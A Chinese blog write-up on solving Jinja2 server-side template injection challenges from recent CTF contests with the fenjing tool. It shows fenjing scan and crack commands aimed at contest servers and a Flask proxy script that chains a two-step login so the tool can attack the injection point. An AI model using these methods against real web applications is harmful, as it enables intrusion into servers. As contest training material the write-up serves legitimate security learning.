从国赛到西湖论剑:fenjing进阶通杀jinjia2_SSTI
前言
最近俩月比赛遇到了三个jinjia2_SSTI题目,发现其虽然有过滤,但是fenjing都可以对其过滤进行降维打击。可问题是fenjing不一定就能用得上,需要一些改造思路,下面我就结合这三次比赛带大家体会一下。
初级用法:一把梭
春秋冬季赛day1:
非常简单梭哈即可,具体工具用法直接去看:https://github.com/Marven11/Fenjing
fenjing scan -u "http://47.94.155.240:28672/"
如何进阶?
我们的思路就是二开或代理,其分别对应有源码情况以及无源码情况;
注意:二开不是二开工具是二开题目,代理即帮助fenjing进行交互。
有源码:国赛
题目来自于第十八届全国大学生信息安全竞赛 (创新实践能力赛)暨第二届“长城杯” 铁人三项赛(防护赛)初赛 Safe_Proxy
这个题其实是无回显不出网有过滤的SSTI,但是有源码
于是我们稍微改一下就变成了有回显不出网有过滤的SSTI
然后本地跑起来,fenjing一把锁得到payload,最后去打题目环境即可
记得编码一下
得到flag
无源码:西湖论剑
题目来自于前两天的2025西湖论剑
前面没有截图简单说一下这个题目:
就是第一个页面/login让你输入手机号phone_number=a,点击提交
然后跳转第二个页面/cpass让你输入密码password=123456,再提交
最后弹窗说"a不满足手机号格式"
显然,注入点SSTI在phone_number,但是我们无法直接进行利用,原因在于无法把两次交互都放在fenjing上
那么我们的思路也就有了:
写一个本地python代理程序,访问localhost POST传入phone_number=&password=
而这个程序帮我分别访问http://139.155.126.78:21317/login POST传入phone_number
和http://139.155.126.78:21317/cpass POST传入password=12345678
注意: http://139.155.126.78:21317/login会返回一些状态信息以保证与http://139.155.126.78:21317/cpass 对应
那么写一个本地源码:
from flask import Flask, request, Response
import requests
app = Flask(__name__)
BASE_URL = "http://139.155.126.78:21317"
@app.route('/', methods=['POST'])
def proxy():
phone_number = request.form.get('phone_number')
password = request.form.get('password')
if not phone_number or not password:
return Response("Missing required parameters (phone_number and password)", status=400)
try:
login_response = requests.post(
f"{BASE_URL}/login",
data={"phone_number": phone_number},
timeout=10
)
if login_response.status_code != 200:
return Response(f"Failed to call /login. Status code: {login_response.status_code}", status=500)
login_status = login_response.text.strip()
cpass_response = requests.post(
f"{BASE_URL}/cpass",
data={"password": password, "login_status": login_status},
timeout=10
)
if cpass_response.status_code != 200:
return Response(f"Failed to call /cpass. Status code: {cpass_response.status_code}", status=500)
cpass_result = cpass_response.text.strip()
response_data = f"Login response: {login_status}\nCpass response: {cpass_result}"
return Response(response_data, status=200)
except Exception as e:
return Response(f"An error occurred: {str(e)}", status=500)
if __name__ == '__main__':
app.run(host="127.0.0.1", port=5000)
然后fenjing梭哈
fenjing crack -u "http://127.0.0.1:5000/" -i phone_number
拿到payload:
还有flag
4A评测 - 免责申明
本站提供的一切软件、教程和内容信息仅限用于学习和研究目的。
不得将上述内容用于商业或者非法用途,否则一切后果请用户自负。
本站信息来自网络,版权争议与本站无关。您必须在下载后的24个小时之内,从您的电脑或手机中彻底删除上述内容。
如果您喜欢该程序,请支持正版,购买注册,得到更好的正版服务。如有侵权请邮件与我们联系处理。敬请谅解!
程序来源网络,不确保不包含木马病毒等危险内容,请在确保安全的情况下或使用虚拟机使用。
侵权违规投诉邮箱:4ablog168#gmail.com(#换成@)